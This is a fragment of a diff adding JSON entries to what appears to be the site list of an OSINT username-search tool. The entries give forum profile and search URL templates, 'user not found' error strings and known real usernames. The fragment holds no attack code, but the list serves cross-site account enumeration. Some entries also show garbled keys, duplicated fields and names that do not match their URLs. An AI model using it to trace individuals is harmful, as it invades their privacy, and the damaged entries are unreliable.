+ "url": "https://shiptext.ucoz.ru/index/8-0-{}", + "urlMain": "https://shiptext.ucoz.ru", + "usernameON": "Taruto", + "bad_site": "" + }, + "Forum_shirokovskaya": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://широковская.рф/index/8-0-{}", + "urlMain": "http://широковская.рф", + "usernameON": "Надя", + "bad_site": "" + }, + "Forum_shkola-letovo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shkola-letovo.my1.ru/index/8-0-{}", + "urlMain": "https://shkola-letovo.my1.ru", + "usernameON": "belkazalesskaya", + "bad_site": "" + }, + "Forum_shkolnikov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shkolnikov.clan.su/index/8-0-{}", + "urlMain": "https://shkolnikov.clan.su", + "usernameON": "Adelamow", + "bad_site": "" + }, + "Forum_shkval": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shoubiz.my1.ru/index/8-0-{}", + "urlMain": "https://shoubiz.my1.ru", + "usernameON": "eagles_yar", + "bad_site": "" + }, + "Forum_shumka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://shumka.at.ua/index/8-0-{}", + "urlMain": "http://shumka.at.ua", + "usernameON": "vikadroyp08", + "bad_site": "" + }, + "Forum_shustrov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shustrov.clan.su/index/8-0-{}", + "urlMain": "https://shustrov.clan.su", + "usernameON": "Crayulin", + "bad_site": "" + }, + "Forum_shuumm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shuumm.ucoz.ru/index/8-0-{}", + "urlMain": "https://shuumm.ucoz.ru", + "usernameON": "shuumm", + "bad_site": "" + }, + "Forum_shvedun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www.forum.shvedun.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.forum.shvedun.ru", + "usernameON": "red", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_siava": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://siava.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://siava.ru", + "usernameON": "Keks", + "comments": "cf", + "bad_site": 1 + }, + "Forum_sibcoins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sibcoins.ucoz.ru/index/8-0-{}", + "urlMain": "https://sibcoins.ucoz.ru", + "usernameON": "FERMABOT", + "bad_site": "" + }, + "Forum_siberia_war": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr> :: Сибмама - о семье, беременности и детях", + "errorTyp��": "message", + "url": "https://forum.sibmama.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.sibmama.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_siccness": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.siccness.net/xf/members/?username={}", + "urlMain": "https://www.siccness.net", + "usernameON": "muthafknmexican", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_siemens-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://siemens-club.ucoz.ru/index/8-0-{}", + "urlMain": "https://siemens-club.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_siemens-town": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://siemens-town.my1.ru/index/8-0-{}", + "urlMain": "https://siemens-town.my1.ru", + "usernameON": "pomoshigorigor", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sierraclubspb": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://sierraclubspb.borda.ru/?32-{}", + "urlMain": "https://sierraclubspb.borda.ru", + "usernameON": "truevalve", + "bad_site": "" + }, + "Forum_sierrawireless": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.sierrawireless.com/u/{}/summary", + "urlMain": "https://forum.sierrawireless.com", + "usernameON": "guigui", + "bad_site": "" + }, + "Forum_sigerous": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sigerous.ru/index/8-0-{}", + "urlMain": "http://sigerous.ru", + "usernameON": "repteloid1111", + "bad_site": "" + }, + "Forum_silveradoev": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.silveradoevforum.com/members/?username={}", + "urlMain": "https://www.silveradoevforum.com", + "usernameON": "nebula1701", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_silveradosierra": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.silveradosierra.com/members/?username={}", + "urlMain": "https://www.silveradosierra.com", + "usernameON": "babock58", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_silverstream": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>Результатов поиска нет", + "errorMsg3": "Cloudflare", + "errorTyp��": "message", + "url": "https://f.simpleminecraft.ru/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://f.simpleminecraft.ru", + "usernameON": "delars", + "bad_site": "" + }, + "Forum_simracing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://forum.simracing.su/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.simracing.su", + "usernameON": "veter", + "bad_site": "" + }, + "Forum_sims3game": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sims3game.ucoz.ru/index/8-0-{}", + "urlMain": "https://sims3game.ucoz.ru", + "usernameON": "reveille", + "bad_site": "" + }, + "Forum_singaporebrides": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://singaporebrides.com/weddingforum/members/?username={}", + "urlMain": "https://singaporebrides.com", + "usernameON": "buzz", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sitepoint": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\\"posts\\":[],\\"users\\":[],", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sitepoint.com/community/search?context=topic&q={}&search_type=users&skip_context=true", + "urlMain": "https://www.sitepoint.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_sivatherium": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://skachat-warcraft-3.ru/index/8-0-{}", + "urlMain": "https://skachat-warcraft-3.ru", + "usernameON": "Grandar", + "bad_site": "" + }, + "Forum_skateclass": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://sokrovische.ucoz.ru/index/8-0-{}", + "urlMain": "https://sokrovische.ucoz.ru", + "usernameON": "Visondela", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solana": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.solana.com/u/{}/summary", + "urlMain": "https://forum.solana.com", + "usernameON": "ilian", + "bad_site": "" + }, + "Forum_soligorsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://soligorsk-info.ucoz.com/index/8-0-{}", + "urlMain": "https://soligorsk-info.ucoz.com", + "usernameON": "andydudyk", + "bad_site": "" + }, + "Forum_solikamsk1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://solikamsk1.ucoz.org/index/8-0-{}", + "urlMain": "https://solikamsk1.ucoz.org", + "usernameON": "Openair", + "bad_site": "" + }, + "Forum_solnechnyi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://solnechnyi.ucoz.ru/index/8-0-{}", + "urlMain": "https://solnechnyi.ucoz.ru", + "usernameON": "eameln07", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solonkino": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://solonkino.3dn.ru/index/8-0-{}", + "urlMain": "https://solonkino.3dn.ru", + "usernameON": "tasya", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_solotouch": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.solotouch.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.solotouch.com/", + "usernameON": "rosco1", + "bad_site": "" + }, + "Forum_solstar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "домен, регистратор, доменные имена", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://solstar.ru/index/8-0-{}", + "urlMain": "http://solstar.ru", + "usernameON": "wellnemo", + "bad_site": "" + }, + "Forum_sonexbuilders": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://sonexbuilders.net/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sonexbuilders.net", + "usernameON": "lakespookie", + "bad_site": "" + }, + "Forum_sony127": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sony127.3dn.ru/index/8-0-{}", + "urlMain": "https://sony127.3dn.ru", + "usernameON": "htaletuauo", + "bad_site": "" + }, + "Forum_sonyalpha": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "0 Ergebnisse", + "errorMsg2": "One moment,", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.sonyalphaforum.de/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.sonyalphaforum.de", + "usernameON": "ger100", + "bad_site": "" + }, + "Forum_sonycam": { + "country": "🇪🇸", + "country_klas": "ES", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sonycam.es/foro/members/?username={}", + "urlMain": "https://www.sonycam.es", + "usernameON": "dano", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_soslujivzi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://soslujivzi.ru/index/8-0-{}", + "urlMain": "https://soslujivzi.ru", + "usernameON": "bazy", + "bad_site": "" + }, + "Forum_sosuave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sosuave.net/forum/members/?username={}", + "urlMain": "https://www.sosuave.net", + "usernameON": "theprospect", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sourcepython": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.sourcepython.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.sourcepython.com/", + "usernameON": "Mahi", + "comments": "Archive", + "bad_site": 1 + }, + "Forum_south-tm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://south-tm.clan.su/index/8-0-{}", + "urlMain": "http://south-tm.clan.su", + "usernameON": "Shchedrovnops", + "bad_site": "" + }, + "Forum_sovet-miliziy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sovet-miliziy.narod.ru/index/8-0-{}", + "urlMain": "http://sovet-miliziy.narod.ru", + "usernameON": "Евпатий", + "bad_site": "" + }, + "Forum_sovetskoye": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sovetskoye.ucoz.ru/index/8-0-{}", + "urlMain": "https://sovetskoye.ucoz.ru", + "usernameON": "VikingRUS", + "bad_site": "" + }, + "Forum_sovgavan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://www.sovgavan.ru/index/8-0-{}", + "urlMain": "http://www.sovgavan.ru", + "usernameON": "Titana", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sovpl": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403", + "errorTyp��": "message", + "url": "https://soyuz-pisatelei.ru/index/8-0-{}", + "urlMain": "https://soyuz-pisatelei.ru", + "usernameON": "Litvin", + "bad_site": "" + }, + "Forum_space": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.space.com/members/?username={}", + "urlMain": "https://forums.space.com", + "usernameON": "helio", + "comments": "Archive", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spacebattles": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.spacebattles.com/members/?username={}", + "urlMain": "https://forums.spacebattles.com", + "usernameON": "lt_ryguy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spanielclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://spanielclub.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://spanielclub.kamrbb.ru", + "usernameON": "kertezayde", + "bad_site": "" + }, + "Forum_spchat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.spchat.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.spchat.ru", + "usernameON": "Taniar", + "bad_site": "" + }, + "Forum_spdonetsk": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://spdonetsk.ucoz.ua/index/8-0-{}", + "urlMain": "https://spdonetsk.ucoz.ua", + "usernameON": "Alazany", + "bad_site": "" + }, + "Forum_speakev": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.speakev.com/members/?username={}", + "urlMain": "https://www.speakev.com", + "usernameON": "nickkk32", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_specialstage": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.specialstage.com/members/?username={}", + "urlMain": "https://www.specialstage.com", + "usernameON": "ssadmin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_specktra": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.specktra.net/members/?username={}", + "urlMain": "https://www.specktra.net", + "usernameON": "shellygrrl", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_spellbinder": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.spellbinder.tv/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.spellbinder.tv", + "usernameON": "vov2302", + "bad_site": "" + }, + "Forum_spiceworks": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://community.spiceworks.com/u/{}", + "urlMain": "https://community.spiceworks.com", + "usernameON": "hulksmash72", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_spinningist": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.spinningist.com/index/8-0-{}", + "urlMain": "http://www.spinningist.com", + "usernameON": "Nux", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_spitz-dog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://spitz-dog.ucoz.ru/index/8-0-{}", + "urlMain": "http://spitz-dog.ucoz.ru", + "usernameON": "hieswivay", + "bad_site": "" + }, + "Forum_spoiledmaltese": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.spoiledmaltese.com/members/?username={}", + "urlMain": "https://www.spoiledmaltese.com", + "usernameON": "duncanweishaar093", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_spolo": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sporeland.ru/index/8-0-{}", + "urlMain": "https://sporeland.ru/", + "usernameON": "ms_Zeys", + "bad_site": "" + }, + "Forum_sport_f": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sport-forums.com/members/?username={}", + "urlMain": "https://www.sport-forums.com", + "usernameON": "bascampt", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sportgymnastic": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sputnikkey.ru/index/8-0-{}", + "urlMain": "http://sputnikkey.ru", + "usernameON": "alexstvpr", + "bad_site": "" + }, + "Forum_spyro-realms": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.spyro-realms.com/index/8-0-{}", + "urlMain": "https://www.spyro-realms.com", + "usernameON": "ftaletoxrf", + "bad_site": "" + }, + "Forum_sqlteam": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.sqlteam.com/u/{}/summary", + "urlMain": "https://forums.sqlteam.com", + "usernameON": "waterduck", + "bad_site": "" + }, + "Forum_squarespace": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Found 0 results", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svet-unlimited.ucoz.ru/index/8-0-{}", + "urlMain": "https://svet-unlimited.ucoz.ru", + "usernameON": "Milija", + "bad_site": "" + }, + "Forum_svobodavnutri": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svobodavnutri.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://svobodavnutri.kamrbb.ru", + "usernameON": "lurdopufye", + "bad_site": "" + }, + "Forum_svoystyle": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svoystyle.ucoz.ru/index/8-0-{}", + "urlMain": "https://svoystyle.ucoz.ru/", + "usernameON": "isaeva3", + "bad_site": "" + }, + "Forum_svstrazh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svstrazh.forum24.ru/?32-{}", + "urlMain": "https://svstrazh.forum24.ru", + "usernameON": "blagimip", + "bad_site": "" + }, + "Forum_svstudio": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://svstudio.ucoz.ru/index/8-0-{}", + "urlMain": "https://svstudio.ucoz.ru/", + "usernameON": "sunkid", + "bad_site": "" + }, + "Forum_svvptau": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://svvptau.borda.ru/?32-{}", + "urlMain": "https://svvptau.borda.ru", + "usernameON": "sops", + "bad_site": "" + }, + "Forum_swedespeed": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "url": "https://www.swedespeed.com/members/?username={}", + "urlMain": "https://www.swedespeed.com", + "usernameON": "stewart13", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_swift": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "posts\\":[],\\"users\\", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.swift.org/search?q={}&search_type=users", + "urlMain": "https://forums.swift.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_swiftbook": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.swiftbook.ru/u/{}/summary", + "urlMain": "https://forum.swiftbook.ru", + "usernameON": "green", + "comments": "bad", + "bad_site": 1 + }, + "Forum_swleague": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.swleague.ru/index/8-0-{}", + "urlMain": "http://www.swleague.ru", + "usernameON": "rtalethabg", + "bad_site": "" + }, + "Forum_swoy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://swoy.ucoz.ru/index/8-0-{}", + "urlMain": "https://swoy.ucoz.ru", + "usernameON": "Tampy", + "bad_site": "" + }, + "Forum_symerechnaya": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://symerechnaya.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://symerechnaya.kamrbb.ru/", + "usernameON": "jelmafesti", + "bad_site": "" + }, + "Forum_synfig": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.synfig.org/u/{}/summary", + "urlMain": "https://forums.synfig.org", + "usernameON": "weranimators", + "bad_site": "" + }, + "Forum_synwrite_sourceforge": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://synwrite.sourceforge.net/forums/search.php?keywords=&terms=all&author={}", + "urlMain": "https://synwrite.sourceforge.net/", + "usernameON": "SamC", + "bad_site": "" + }, + "Forum_sys-adm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.sys-adm.in/u/{}", + "urlMain": "https://forum.sys-adm.in", + "usernameON": "sysadmin", + "bad_site": 1 + }, + "Forum_szaokprf": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://szaokprf.ucoz.ru/index/8-0-{}", + "urlMain": "https://szaokprf.ucoz.ru", + "usernameON": "sapsap", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_t-shirt": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.t-shirtforums.com/members/?username={}", + "urlMain": "https://www.t-shirtforums.com", + "usernameON": "tom703", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tachograph": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tachograph.ucoz.ru/index/8-0-{}", + "urlMain": "http://tachograph.ucoz.ru", + "usernameON": "zokfada", + "bad_site": "" + }, + "Forum_tacticalwargames": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No members found", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tacticalwargames.net/taccmd/memberlist.php?username={}", + "urlMain": "https://www.tacticalwargames.net", + "usernameON": "MephistonAG", + "bad_site": "" + }, + "Forum_taek": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taek.3dn.ru/index/8-0-{}", + "urlMain": "https://taek.3dn.ru/", + "usernameON": "provzlom", + "bad_site": "" + }, + "Forum_taganrog-stop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://taganrog-stop.clan.su/index/8-0-{}", + "urlMain": "https://taganrog-stop.clan.su", + "usernameON": "avtoritetniy", + "bad_site": "" + }, + "Forum_tagheuer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tagheuerforums.com/members/?username={}", + "urlMain": "https://tagheuerforums.com", + "usernameON": "hubert", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tagilshops": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": 